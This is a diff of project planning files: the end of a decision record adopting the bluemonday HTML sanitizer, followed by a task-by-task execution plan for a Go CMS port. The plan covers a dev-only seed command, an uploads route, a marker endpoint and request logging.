+- **A hand-built allow-list gate on `golang.org/x/net/html`.** It would add no new module, but the element and attribute allow-lists, the URL normalization (entity decoding, stripping ASCII whitespace and control characters, scheme checks) and the CSS value checks would be new security code that this project would own. bluemonday is the maintained Go implementation of exactly that, with its own test corpus. The project prefers a maintained library for protocol and security code.
+- **Anchoring the regexes to attribute values** (the WR-01 stop-gap). It fixes the false refusals but not the bypasses.
+- **Refusing posts with a 422 instead of stripping.** That is not PHP parity. It would also turn every pasted editor fragment that contains a stray `style` element or attribute into a failed save or import.
+
+## Consequences
+
+- UAT impact scan, read-only, run on 2026-10-09 over 104 posts, 2 `en` translations and 6 category bodies:
+  - **No stored post or category holds an XSS payload.**
+  - Only post 64 changes when it is next re-saved. Its 24-line `<style>` block for the author footer is removed, so the footer loses its flex layout and the round photo. The footer's `itemscope` is re-serialized as `itemscope=""`, and its inline styles lose the trailing `;`. The text, image and microdata stay.
+  - All 6 category bodies pass `CheckHTML`.
+  - The stored `content_html` does not change until a post is saved again.
+- The README Posts bullet, the `CheckHTML` row and the Dependencies line in `sm-journal-plugin/README.md` describe the sanitizer.
+- `sm-grzybyfunkcjonalne-app` includes the plugin as a submodule (`plugins/golem15/journal`), so it gets the fix when that submodule is bumped. Its workspace then needs bluemonday's `go.sum` lines.
+
+## Follow-ups
+
+- Done: the post 64 author-footer CSS moved into vue-grzybyfunkcjonalne-app `app/assets/css/base.css` (2c46185).
+- Done: `vue-journal-layer` replaced its regex gate with sanitize-html 2.18.0 mirroring this policy (5beb1c5; decision note `docs/decisions/0001-sanitize-html.md` in that repository, which explains why not DOMPurify).
+- If editors need `target="_blank"` links, `rel`, or `title` values with quotes or `&`, extend the policy deliberately. These are not allowed now because no imported content uses them.

.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-01-PLAN.md

@@ -0,0 +1,318 @@
+---
+phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
+plan: 01
+type: execute
+wave: 1
+depends_on: []
+files_modified:
+  - modules/surf/uploads.go
+  - modules/surf/accesslog.go
+  - modules/surf/accesslog_test.go
+  - modules/surf/router.go
+  - modules/surf/README.md
+  - docs/services/storage.md
+  - docs/services/logging.md
+  - docs/setup/configuration.md
+  - ../fonoteka.go/plugins/golem15/fonoteka/console/database.go
+  - ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go
+  - ../fonoteka.go/plugins/golem15/fonoteka/console/reindex.go
+  - ../fonoteka.go/plugins/golem15/fonoteka/console/oauth_client.go
+  - ../fonoteka.go/plugins/golem15/fonoteka/console/prune_notifications.go
+  - ../fonoteka.go/plugins/golem15/fonoteka/plugin.go
+  - ../fonoteka.go/plugins/golem15/fonoteka/dev_marker.go
+  - ../fonoteka.go/plugins/golem15/fonoteka/routes.go
+  - ../fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go
+  - .planning/todos/pending/user-plugin-commands-open-database.md
+autonomous: true
+requirements: [QA-05]
+estimate:
+  tokens: 260000
+  raw_tokens: 260000
+  tasks: 3
+  confidence: low  # uncalibrated (estimate-calibration factor 1, sample_count 0); plan count locked at 4 by D-22, do not split; see "Execution guidance (context budget)"
+must_haves:
+  truths:
+    - "Per D-01, D-02 and D-22, `fonoteka fonoteka:dev-seed` (the D-02 seed; the plugin-namespaced name is the planner's naming choice D-02 allows) runs after `fonoteka migrate` in a fresh process with no pre-published database and creates an activated user, an owned collection persisted as the user's context, three albums, one wishlist entry, one rating on the first album, a personal API token with the configured `inv_` prefix, and turns `search_use_typesense` on."
+    - "Per D-02 (edge: idempotency), a second `fonoteka:dev-seed` run with the same inputs adds no row to `users`, `golem15_fonoteka_collections`, `golem15_fonoteka_albums`, `system_files`, `golem15_fonoteka_album_ratings` or the API token table, and prints `unchanged` for every entity."
+    - "Per D-02 (edge: boundary), the seed runs only when the app environment is exactly `local` or `dev`; `production` (what an unset SUMMER_ENV resolves to), `development`, `testing`, `staging` and an empty value are refused before any database connection is opened."
+    - "Per D-03, every seeded album carries one generated PNG cover attached through `classes.StoreAlbumPhoto` under the `storage/app/uploads/public` bucket, and the seed prints each cover's public `/storage/app/uploads/public/...` URL on both created and unchanged runs."
+    - "Per D-04 (edge: empty), the seeded credentials are `E2E_EMAIL` / `E2E_PASSWORD` and fall back to `demo@example.com` / `changeme` when either is unset or empty; the password is never printed."
+    - "Per D-19, the framework key `storage.uploads.serve` (default false) mounts `attach.StaticHandlerPublic` at `storage.uploads.public_path_prefix` plus `/{path...}` from the surf router with `X-Content-Type-Options: nosniff`; a seeded cover URL answers 200 `image/png` from the assembled router, and with the key off the route does not exist. The surf README, docs/services/storage.md and docs/setup/configuration.md describe the key in the same change."
+    - "Per D-09 and D-10, `GET /_fonoteka/api/v1/_dev/backend` answers 200 `{\"backend\":\"summercms\",\"app\":\"fonoteka\",\"env\":\"local\"}` with `Cache-Control: no-store` only when the environment is `local` or `dev`, is absent otherwise, is not listed in `parity/manifest.yaml`, and `TestParityCorpus` still prints `recorded 175/175 passing 175 failing 0 unrecorded 0 pending 0`."
+    - "Per D-05 and D-22 (research G1), `fonoteka:reindex`, `fonoteka:oauth-client` and `fonoteka:prune-notifications` use the published database when one exists and otherwise open and publish one from `database.dsn`, so none of them stops with `database is not configured` in the real binary."
+    - "Per D-12, the framework key `http.access_log: true` logs one record per request (message `http request`) through the app's published `*slog.Logger` or `slog.Default` with `method`, `pattern`, `status` and `duration_ms`, adding `path` without its query string only for unmatched requests; with the key off nothing is logged."
+    - "(edge: ordering) The seed writes the user, collections, albums, covers, wishlist entry, rating and token first and flips `search_use_typesense` last, so no seed write reaches Typesense before `fonoteka:reindex` builds the index."
+    - "(edge: concurrency) Every seed row is written inside one `lagoon.Transaction` wrapped in `lighthouse.WithoutBroadcasting`; a failed or interrupted run commits no partial rows and queues no broadcast job, and a rerun completes the shape."
+    - statement: "(edge: concurrency) A cover blob written before an aborted seed transaction can remain in the bucket without a system_files row; the rerun attaches a fresh blob and the orphan is never served because StaticHandlerPublic requires a public system_files row."
+      verification: backstop
+    - statement: "(edge: precision) The only numeric value this plan introduces is `duration_ms`, the elapsed request time truncated to whole milliseconds; seeded ratings use the existing 1-5 integer scale."
+      verification: backstop
+  artifacts:
+    - path: "modules/surf/uploads.go"
+      provides: "storage.uploads.serve opt-in mount of attach.StaticHandlerPublic with nosniff (D-19)"
+      contains: "storage.uploads.serve"
+    - path: "modules/surf/accesslog.go"
+      provides: "http.access_log opt-in request log (D-12)"
+      contains: "http.access_log"
+    - path: "../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go"
+      provides: "DevSeedCommand (fonoteka:dev-seed) and DevEnvironment (D-02)"
+      contains: "fonoteka:dev-seed"
+    - path: "../fonoteka.go/plugins/golem15/fonoteka/console/database.go"
+      provides: "commandDatabase and commandBucket: published handle, else open and publish (G1)"
+      contains: "lagoon.Publish"
+    - path: "../fonoteka.go/plugins/golem15/fonoteka/dev_marker.go"
+      provides: "env-gated marker route GET /_fonoteka/api/v1/_dev/backend (D-09, D-10)"
+      contains: "_dev"
+    - path: "../fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go"
+      provides: "TestDevStackSmoke: fresh-process seed, cover served, rerun unchanged, marker"
+      contains: "TestDevStackSmoke"
+  key_links:
+    - from: "modules/surf/router.go"
+      to: "modules/surf/uploads.go"
+      via: "BuildRouter calls mountUploads after the plugin route loop and before cabana.Activate"
+      pattern: "mountUploads"
+    - from: "modules/surf/router.go"
+      to: "modules/surf/accesslog.go"
+      via: "compile wraps the final handler; wrap records each route pattern into the request slot"
+      pattern: "accessLog"
+    - from: "../fonoteka.go/plugins/golem15/fonoteka/plugin.go"
+      to: "../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go"
+      via: "Commands() appends console.DevSeedCommand(p.app)"
+      pattern: "DevSeedCommand"
+    - from: "../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go"
+      to: "../fonoteka.go/plugins/golem15/fonoteka/classes/album_files.go"
+      via: "covers stored through StoreAlbumPhoto inside the seed transaction"
+      pattern: "StoreAlbumPhoto"
+    - from: "../fonoteka.go/plugins/golem15/fonoteka/console/reindex.go"
+      to: "../fonoteka.go/plugins/golem15/fonoteka/console/database.go"
+      via: "reindex, oauth-client and prune-notifications resolve the database through commandDatabase"
+      pattern: "commandDatabase"
+    - from: "../fonoteka.go/plugins/golem15/fonoteka/routes.go"
+      to: "../fonoteka.go/plugins/golem15/fonoteka/dev_marker.go"
+      via: "Routes calls p.devMarkerRoutes(r), which registers nothing outside local/dev"
+      pattern: "devMarkerRoutes"
+  prohibitions:
+    - requirement_id: QA-05
+      category: safety
+      statement: "fonoteka:dev-seed MUST NOT open a database connection or write any row unless the app environment is exactly local or dev; production is the default and is always refused"
+      status: resolved
+      verification: test
+    - requirement_id: QA-05
+      category: transparency
+      statement: "No route listed in parity/manifest.yaml may change its response, and no header may be added to API responses; the marker route and the uploads mount stay outside the manifest"
+      status: resolved
+      verification: test
+    - requirement_id: QA-05
+      category: safety
+      statement: "The shared sm-user-plugin submodule MUST NOT be modified by this plan; its user:token commands' database gap is recorded as a todo instead (core plugin rule)"
+      status: resolved
+      verification: test
+---
+
+## Phase Goal
+
+**As a** developer, **I want to** run the existing `vue-fonoteka-app` locally against the local `fonoteka.go` SummerCMS backend (not PHP), log in and use the real Nuxt flows, **so that** the port is proven in daily use before production cutover.
+
+This plan's slice: the Go-side glue every later plan stands on. After it, a fresh `fonoteka` process can seed itself, serve the seeded covers under the WinterCMS upload URLs, name itself through a dev-only marker, rebuild search without a pre-published database, and log every request.
+
+<objective>
+Close research gaps G1-G4 in Go (D-22 plan 01 scope): the `fonoteka:dev-seed` command (D-01..D-04), the plugin-command database fix including `fonoteka:reindex` (G1), the env-gated marker route (D-09, D-10), the framework `/storage` uploads mount (D-19) and the opt-in access log (D-12), with the surf README and docs pages updated in the same changes.
+
+Purpose: plan 02's start script runs `migrate`, `fonoteka:dev-seed`, `fonoteka:reindex` and `serve` against these commands and probes the marker; plan 03's specs load covers through `/storage`.
+Output: two framework commits in summercms.go (uploads mount + docs, access log + docs), app commits in fonoteka.go, and one planning-doc commit (the user-plugin todo). Smoke tests only; the full unit matrix is plan 04.
+</objective>
+
+<execution_context>
+@~/.claude/gsd-core/workflows/execute-plan.md
+@~/.claude/gsd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/PROJECT.md
+@.planning/ROADMAP.md
+@.planning/STATE.md
+@.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-CONTEXT.md
+@.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-RESEARCH.md
+@.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-VALIDATION.md
+@modules/surf/router.go
+@modules/surf/serve.go
+@modules/lagoon/attach/static.go
+@../fonoteka.go/plugins/golem15/fonoteka/plugin.go
+@../fonoteka.go/plugins/golem15/fonoteka/console/reindex.go
+
+<interfaces>
+- `lagoon.OpenFromApp(ctx, app) (*sql.DB, *gorm.DB, error)` reads `database.dsn` and loads `app.key`; `lagoon.Publish(app, sqlDB, gdb) error` publishes both and runs the `lagoon.OnDatabase` callbacks (the fonoteka slug and credential hooks register there, plugin.go:209). Opening without Publish leaves seeded slugs empty (research anti-pattern).
+- `attach.OpenBucket(ctx, cfg) (*blob.Bucket, error)` and `attach.Publish(app, bucket) error` (used by surf/serve.go publishUploads and lagoon/commands.go purgeBucket). `attach.StaticHandlerPublic(bucket *blob.Bucket, prefix string, db *gorm.DB) http.Handler` 404s missing or non-public rows and invalid keys; it sets no nosniff header.
+- `surf.BuildRouter` registers plugin routes in a loop with `r.BindPlugin(p.ID())`, then `cabana.Activate`; `r.app` holds the app; `compile()` returns `r.stripLocalePrefix(pathScopedCORS(r.corsCfg, mux))`; `wrap(rt route)` builds each route's chain inside `recoverJSON`/`recoverBare`.
+- `bonfire.Command{Name, Description, Flags []bonfire.Flag, Run func(ctx, in bonfire.Input, out bonfire.Output) error}`; console tests use `testInput` (console/oauth_client_test.go) and `bonfire.NewOutput(nil, &buf, &buf)`.
+- Seed building blocks (fonoteka plugin `classes` unless noted): `usercontrollers.RegisterUser(ctx, app, tx, fields, usercontrollers.RegisterOptions{Activate: true})` (sm-user-plugin controllers/registration.go:38); user model fields `MustChangePassword`, `HasSelfSetPassword`, `IsActivated`; `ProvisionCollection(ctx, tx, user)`; `ProvisionWishlist(ctx, tx, user)`; `CreateAlbum(ctx, tx, collectionID, input map[string]any)`; `StoreAlbumPhoto(ctx, db, bucket, albumID, filename, data) (*attach.File, error)`; `models.AlbumRating{AlbumID, UserID, Rating}`; `models.Settings{SearchUseTypesense}` singleton id 1; `userclasses.APITokenPrefix(app)`, `userclasses.MintAPIToken(prefix, userID, name, scopes, expiresAt, collectionIDs) (secret, *models.APIToken, error)`, `userclasses.HashAPIToken(secret)` (sm-user-plugin classes/api_tokens.go); `lighthouse.WithoutBroadcasting[T](ctx, fn)` (summercms.go modules/lighthouse/suppress.go:19).
+- Environment: `app.Config.Environment()` reads SUMMER_ENV, default `production` (compass/config.go:193-199). The plugin root test harness `bootConfig` uses `SUMMER_ENV=development`, so the marker stays absent from every existing route-table test.
+- fonoteka.go submodules `plugins/golem15/{user,golem,feedback}` already show pointer drift (research G13). Stage explicit paths only; never `git add -A` in fonoteka.go.
+</interfaces>
+</context>
+
+## Artifacts this phase produces
+
+(This plan's share.)
+
+- CLI command `fonoteka:dev-seed` (no flags) in the fonoteka plugin; exported `console.DevSeedCommand(app *backpack.App) bonfire.Command` and `console.DevEnvironment(app *backpack.App) (string, bool)`.
+- Environment variables read by the seed: `E2E_EMAIL`, `E2E_PASSWORD` (fallback `demo@example.com` / `changeme`), `DEV_SEED_API_TOKEN` (optional, must start with the configured prefix). Seeded token name `dev-seed-mcp`; seeded album names `Kind of Blue`, `Blue Train`, `Mingus Ah Um`; wishlist album `A Love Supreme`.
+- Seed output lines `<entity>: created|updated|unchanged` (cover lines carry the public URL; the token line shows the secret only on creation).
+- Unexported console helpers `commandDatabase(ctx, app) (*gorm.DB, func(), error)` and `commandBucket(ctx, app) (*blob.Bucket, func(), error)`.
+- Route `GET /_fonoteka/api/v1/_dev/backend` (local/dev only, `throttle:60,1`, not in the manifest); unexported `(*Plugin).devMarkerRoutes(r pact.Router)`.
+- Framework config keys `storage.uploads.serve` (env `SUMMER_STORAGE__UPLOADS__SERVE`, default false) and `http.access_log` (env `SUMMER_HTTP__ACCESS_LOG`, default false); framework route `GET {storage.uploads.public_path_prefix}/{path...}` bound to plugin id `summercms.surf`; unexported surf `mountUploads` and `accessLog`.
+- Log record `http request` with attributes `method`, `pattern`, `status`, `duration_ms` and, for unmatched requests only, `path`.
+- Tests `TestDevStackSmoke` (fonoteka plugin root package) and `TestAccessLogSmoke` (surf).
+- Planning todo `.planning/todos/pending/user-plugin-commands-open-database.md`.
+
+## Assumptions
+
+- Assumption-delta and API-coverage detectors did not fire for this phase (no core identity change, no external API integration).
+- `StoreAlbumPhoto` attaches album photos with `is_public = true`; the tracer test proves it by getting a 200 through `StaticHandlerPublic`. If it does not, the seed must not flip the flag by hand; stop and report.
+- `CreateAlbum` needs at least `name`; the executor reads `album_write_service.go` for any other required input and passes only fields the PHP create form accepts.
+- The executor must not read any `.env*` secret file; the Bash secret-read guard blocks it. Tests build their config in code.
+
+## Execution guidance (context budget)
+
+This plan touches 18 files with an uncalibrated 260k-token estimate. D-22 fixes the phase at 4 plans, so it is not split. Keep it inside one executor's budget this way:
+
+- **Commit after each task, never across tasks.** Task 1 makes two commits (summercms.go: mount plus docs; fonoteka.go: helper, seed, registration, smoke test). Task 2 makes one fonoteka.go commit and one summercms.go planning-doc commit (the todo). Task 3 makes one summercms.go commit. Each commit happens right after that task's verify passes.
+- **Mid-plan SUMMARY checkpoint after Task 2.** Once Task 2's commits land, write `14.2-01-SUMMARY.md` with a status of in progress, listing Tasks 1-2 done with commit hashes, the seed output lines from `TestDevStackSmoke`, the parity summary line and any deviations, plus the Task 3 entry point. If the context is past about half at that point, stop there. A fresh executor resumes at Task 3 from that SUMMARY. The final SUMMARY replaces the in-progress status when Task 3 is done.
+- **Task 3 is self-contained and may run in a fresh context.** It changes only `modules/surf/` and two docs pages, and needs nothing from Tasks 1-2 beyond the committed `router.go`, `README.md` and `docs/setup/configuration.md`. A fresh executor reads Task 3's `read_first` list plus `modules/surf/uploads.go` (to keep the `BuildRouter` and `compile` edits consistent) and does not reopen any fonoteka.go file.
+- **Keep long test output out of the context.** Send the full output of `TestParityCorpus` (Task 2, up to 30 minutes) and the `-v` test runs to a file in the scratch directory. Read back only the exit status, the `--- PASS`/`--- FAIL`/`--- SKIP` lines and the parity summary line that each task's failure conditions check.
+
+<tasks>
+
+<task type="tracer">
+  <name>Task 1 (tracer): a seeded cover is served end to end — fresh-process fonoteka:dev-seed, framework /storage mount, 200 image/png</name>
+  <reversibility rating="costly">`storage.uploads.serve` becomes a framework config key other applications and Phase 20 will set; renaming it later needs a deprecation in every app config.</reversibility>
+  <files>modules/surf/uploads.go, modules/surf/router.go, modules/surf/README.md, docs/services/storage.md, docs/setup/configuration.md, ../fonoteka.go/plugins/golem15/fonoteka/console/database.go, ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go, ../fonoteka.go/plugins/golem15/fonoteka/plugin.go, ../fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go</files>
+  <read_first>modules/surf/router.go (BuildRouter 460-568, compile 343-381, wrap 393-447), modules/surf/serve.go (publishUploads), modules/lagoon/attach/static.go, modules/lagoon/attach/bucket.go (OpenBucket default prefix, Publish), modules/lagoon/connection.go (OpenFromApp, Publish), modules/lagoon/commands.go (withDB, purgeBucket), modules/lighthouse/suppress.go, modules/surf/README.md, docs/services/storage.md, docs/setup/configuration.md, docs/database/attachments.md, ../fonoteka.go/plugins/golem15/fonoteka/plugin.go (Commands 292-301, OnDatabase 209), ../fonoteka.go/plugins/golem15/fonoteka/console/reindex.go, ../fonoteka.go/plugins/golem15/fonoteka/console/oauth_client_test.go (testInput), ../fonoteka.go/plugins/golem15/fonoteka/classes/album_files.go, ../fonoteka.go/plugins/golem15/fonoteka/classes/collection_provisioner.go, ../fonoteka.go/plugins/golem15/fonoteka/classes/album_write_service.go (CreateAlbum 378), ../fonoteka.go/plugins/golem15/user/controllers/registration.go, ../fonoteka.go/plugins/golem15/user/models/user.go, ../fonoteka.go/plugins/golem15/fonoteka/plugin_boot_test.go (bootPG, bootDB, bootConfig), ../fonoteka.go/plugins/golem15/fonoteka/routes_isolation_test.go (bouncer registry publish, party.Activate, stubInvToken, BuildRouter), ../fonoteka.go/config/storage.yaml, .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-RESEARCH.md (G1, G2, Q4, Pattern 1, Pattern 2)</read_first>
+  <action>Two commits, framework first (summercms.go: mount plus its docs), then app (fonoteka.go: helper, thin seed, registration, smoke test).
+
+(1) summercms.go, per D-19. New `modules/surf/uploads.go` with unexported `mountUploads(r *Router, app *backpack.App) error`, called from `BuildRouter` right after the plugin route loop and before `cabana.Activate`. When `app` and `app.Config` are non-nil and `app.Config.Bool("storage.uploads.serve")` is true: bind plugin id `summercms.surf`, take `storage.uploads.public_path_prefix` trimmed of a trailing slash (fall back to the same default `attach.OpenBucket` records; read bucket.go for it), open a raw group at that prefix with no middleware and register `GET /{path...}`. The handler resolves `*blob.Bucket` and `*gorm.DB` with `app.Lookup` on every request (boot and route:list build the router before serve publishes either), answers 404 when either is missing, sets `X-Content-Type-Options: nosniff`, then delegates to `attach.StaticHandlerPublic(bucket, prefix, gdb)`. With the key false or absent, register nothing. A plugin route under the same prefix must keep failing boot through the existing ServeMux conflict error. Add no exported identifier. Docs in the same commit: surf README (Features bullet and a Configuration row for `storage.uploads.serve`, default `false`), docs/services/storage.md (rewrite the paragraph that says the framework mounts no file route: the opt-in key, the `is_public` gate, nosniff, and the existing advice to prefer a separate origin), docs/setup/configuration.md (a table row). Framework docs never name the consuming application.
+
+(2) fonoteka.go `console/database.go`, per G1: `commandDatabase(ctx, app) (*gorm.DB, func(), error)` returns the published `*gorm.DB` with a no-op closer when one exists, else calls `lagoon.OpenFromApp` then `lagoon.Publish` and returns a closer for the `*sql.DB`. `commandBucket(ctx, app) (*blob.Bucket, func(), error)` does the same with `attach.OpenBucket` and `attach.Publish`.
+
+(3) `console/dev_seed.go`, per D-01, D-02, D-03, D-04. Exported `DevEnvironment(app *backpack.App) (string, bool)`: the trimmed, lower-cased `app.Config.Environment()` and whether it is exactly `local` or `dev`. Exported `DevSeedCommand(app *backpack.App) bonfire.Command` named `fonoteka:dev-seed` (D-02 leaves the name to the planner; the plugin namespace follows docs/console/writing-commands.md and the bonfire duplicate-name todo). Run order: refuse first with the error `fonoteka:dev-seed: refused in environment "<env>" (set SUMMER_ENV=local)` before anything is opened; then `commandDatabase` and `commandBucket`; then, in one `lagoon.Transaction` inside `lighthouse.WithoutBroadcasting[models.Album]`, the thin path: the user looked up by email (`E2E_EMAIL` / `E2E_PASSWORD` via `os.Getenv`, falling back to `demo@example.com` / `changeme` when unset or empty) and created through `usercontrollers.RegisterUser` with `RegisterOptions{Activate: true}`, then `MustChangePassword` false and `HasSelfSetPassword` true; `ProvisionCollection`; the album `Kind of Blue` (year 1959) through `CreateAlbum` unless a live album with that name exists in the collection; a 64x64 PNG cover generated with `image/png` (solid colour derived from the album's position, no network, no committed binary) stored through `StoreAlbumPhoto` with the transaction handle only when the album has no photos. Print one line per entity, `<entity>: created` or `<entity>: unchanged`; the cover line appends the cover's public URL (`attach.File.URL` or `attach.PublicURL`). Never print the password.
+
+(4) `plugin.go`: append `console.DevSeedCommand(p.app)` after `console.ReindexCommand(p.app)` in `Commands()` and update its doc comment. Do not touch `main.go` or `plugins.gen.go`.
+
+(5) `dev_stack_smoke_test.go` (package fonoteka), `TestDevStackSmoke`: call `bootDB(t)` to migrate the shared container, then build a new compass config (`compass.Open` with `SUMMER_ENV=local` plus the JWT secrets bootConfig uses) setting `database.dsn` to `bootPG.ConnectionString(ctx, "sslmode=disable")`, a valid base64 32-byte `app.key`, `storage.uploads.bucket_url` to `file://` plus `t.TempDir()`, `storage.uploads.public_path_prefix` `/storage/app/uploads/public`, `storage.uploads.serve` true and the body limits. Activate `golem15.user`, `golem15.golem`, `golem15.fonoteka` WITHOUT publishing a database, run `console.DevSeedCommand(app).Run` with a minimal `bonfire.Input` value, assert the output has a cover URL, then `surf.Assemble(app, plugins)` and GET that URL through `httptest`: 200, `Content-Type: image/png`, `X-Content-Type-Options: nosniff`. A missing container is a failure, not a skip.
+
+Stage explicit paths only (never the drifted submodule pointers).</action>
+  <verify>
+    <automated>go vet ./modules/surf/ &amp;&amp; go test ./modules/surf/ -count=1 &amp;&amp; go test ./cmd/summer -count=1 -run '^TestDocsTree$' &amp;&amp; go run ./cmd/summer docs:build --check &amp;&amp; go -C ../fonoteka.go vet ./plugins/golem15/fonoteka/... &amp;&amp; go -C ../fonoteka.go test ./plugins/golem15/fonoteka -count=1 -v -run '^TestDevStackSmoke$'</automated>
+    <fails_when>Non-zero exit; output contains "--- FAIL", "--- SKIP" or "no tests to run"; output lacks "--- PASS: TestDevStackSmoke"; docs:build --check prints any problem line.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -c 'storage.uploads.serve' modules/surf/uploads.go` prints at least 1, and `grep -c 'StaticHandlerPublic' modules/surf/uploads.go` prints at least 1, and `grep -c 'nosniff' modules/surf/uploads.go` prints at least 1.
+    - `grep -l 'storage.uploads.serve' modules/surf/README.md docs/services/storage.md docs/setup/configuration.md | wc -l` prints 3.
+    - `grep -c 'mountUploads(' modules/surf/router.go` prints at least 1.
+    - `grep -c '"fonoteka:dev-seed"' ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go` prints 1, and `grep -c 'demo@example.com' ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go` prints at least 1.
+    - `grep -c 'console.DevSeedCommand(p.app)' ../fonoteka.go/plugins/golem15/fonoteka/plugin.go` prints 1.
+    - `grep -c 'lagoon.Publish' ../fonoteka.go/plugins/golem15/fonoteka/console/database.go` prints at least 1, and `grep -c 'attach.Publish' ../fonoteka.go/plugins/golem15/fonoteka/console/database.go` prints at least 1.
+    - `git -C ../fonoteka.go show --name-only --format= HEAD -- main.go plugins.gen.go plugins/golem15/user plugins/golem15/golem plugins/golem15/feedback` prints nothing after the fonoteka.go commit (no generated file and no drifted submodule pointer was committed).
+  </acceptance_criteria>
+  <done>A fresh process with no published database seeds a user, a collection and one album with a cover, and the assembled Go router serves that cover under `/storage/app/uploads/public/...` with nosniff; the framework key is documented.</done>
+</task>
+
+<task type="auto">
+  <name>Task 2: full D-02 seed shape, idempotent rerun, the env-gated Go marker, and plugin commands that open their own database</name>
+  <files>../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go, ../fonoteka.go/plugins/golem15/fonoteka/console/reindex.go, ../fonoteka.go/plugins/golem15/fonoteka/console/oauth_client.go, ../fonoteka.go/plugins/golem15/fonoteka/console/prune_notifications.go, ../fonoteka.go/plugins/golem15/fonoteka/dev_marker.go, ../fonoteka.go/plugins/golem15/fonoteka/routes.go, ../fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go, .planning/todos/pending/user-plugin-commands-open-database.md</files>
+  <read_first>../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go (Task 1), ../fonoteka.go/plugins/golem15/fonoteka/console/database.go, ../fonoteka.go/plugins/golem15/fonoteka/console/reindex.go, ../fonoteka.go/plugins/golem15/fonoteka/console/oauth_client.go, ../fonoteka.go/plugins/golem15/fonoteka/console/prune_notifications.go, ../fonoteka.go/plugins/golem15/fonoteka/classes/wishlist_resolver.go, ../fonoteka.go/plugins/golem15/fonoteka/controllers/api/wishlist_albums_controller.go (WishlistAlbumsStore 184, createAlbumIn), ../fonoteka.go/plugins/golem15/fonoteka/models/album_rating.go, ../fonoteka.go/plugins/golem15/fonoteka/models/settings.go, ../fonoteka.go/plugins/golem15/fonoteka/updates/20_remaining.go (settings seed 198-200), ../fonoteka.go/plugins/golem15/user/classes/api_tokens.go, ../fonoteka.go/plugins/golem15/user/console/api_tokens.go, ../fonoteka.go/plugins/golem15/fonoteka/routes.go (public groups 343-372, realtime mount), ../fonoteka.go/parity/manifest.yaml, ../fonoteka.go/parity/parity_contract_test.go, ../fonoteka.go/plugins/golem15/fonoteka/routes_table_phase14_test.go, .planning/todos/pending/bonfire-duplicate-command-names.md (todo frontmatter shape), .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-RESEARCH.md (Pattern 1, Pattern 3, Q5, G9)</read_first>
+  <action>(1) Seed shape per D-02, D-03 and research Pattern 1, all in the Task 1 transaction. Owned-collection albums keyed by (collection_id, name) among live rows: `Kind of Blue` (1959), `Blue Train` (1957), `Mingus Ah Um` (1959), each with its own generated cover (distinct colours) added only when the album has no photos. `ProvisionWishlist`, then the wishlist entry `A Love Supreme` (1965) created with `CreateAlbum` on the wishlist collection id, the same path `WishlistAlbumsStore` takes through `createAlbumIn`, keyed by (wishlist collection_id, name). One `models.AlbumRating` with rating 4 for `Kind of Blue`, keyed by (album_id, user_id). API token: when `DEV_SEED_API_TOKEN` is set it must start with `userclasses.APITokenPrefix(app)` (refuse otherwise) and its row is upserted by `HashAPIToken(secret)` under the name `dev-seed-mcp`; when unset, mint once with `MintAPIToken(prefix, userID, "dev-seed-mcp", []string{"read", "write", "ai"}, nil, nil)`, persist it, and print `api token: created <secret> (shown once)`; later runs find the row by name and user and print `api token: unchanged (secret not shown)`. Rerun with a different `E2E_PASSWORD`: when the bcrypt check fails, set the new password and print `user: updated`; the same inputs print `user: unchanged`. Last step (G9): `UPDATE golem15_fonoteka_settings SET search_use_typesense = true WHERE id = 1 AND NOT search_use_typesense`, printing `search: created` when a row changed and `search: unchanged` otherwise.
+
+(2) G1 per D-05 and D-22: in `reindex.go`, `oauth_client.go` and `prune_notifications.go` replace the published-only lookup and its error with `commandDatabase(ctx, app)` plus a deferred closer. Keep every other line of behaviour, output and message as it is, so the existing console tests pass unchanged on the published-database path. The shared sm-user-plugin is not touched.
+
+(3) Marker per D-09 and D-10 (research Pattern 3, discretion on the route): new `dev_marker.go` with `func (p *Plugin) devMarkerRoutes(r pact.Router)` that registers nothing unless `console.DevEnvironment(p.app)` reports local or dev. When allowed: group `/_fonoteka/api/v1/_dev` with `surf.Use("throttle:60,1")` and `GET /backend` answering 200 with `Content-Type: application/json`, `Cache-Control: no-store` and the body `{"backend":"summercms","app":"fonoteka","env":"<env>"}` encoded with encoding/json. No auth middleware, no other header. `routes.go` calls it before the realtime mount. Do not add it to `parity/manifest.yaml` or `parity/routes.snapshot`.
+
+(4) Todo (planning doc, its own commit in summercms.go): `.planning/todos/pending/user-plugin-commands-open-database.md` with the frontmatter shape of the other todos (title, date 2026-10-07, priority low, area sm-user-plugin): `user:token:*` and `user:require-password-change` read only a published database and stop in the real binary; the fix is the same published-else-open pattern, additive and non-breaking, deferred under the core-plugin rule.
+
+(5) Extend `TestDevStackSmoke`: a second run with the same env prints `unchanged` for every entity, row counts in users, collections, albums, system_files, album ratings and the token table stay equal, `search_use_typesense` is true; GET `/_fonoteka/api/v1/_dev/backend` on the assembled router answers 200 with exactly the three keys and `Cache-Control: no-store`.</action>
+  <verify>
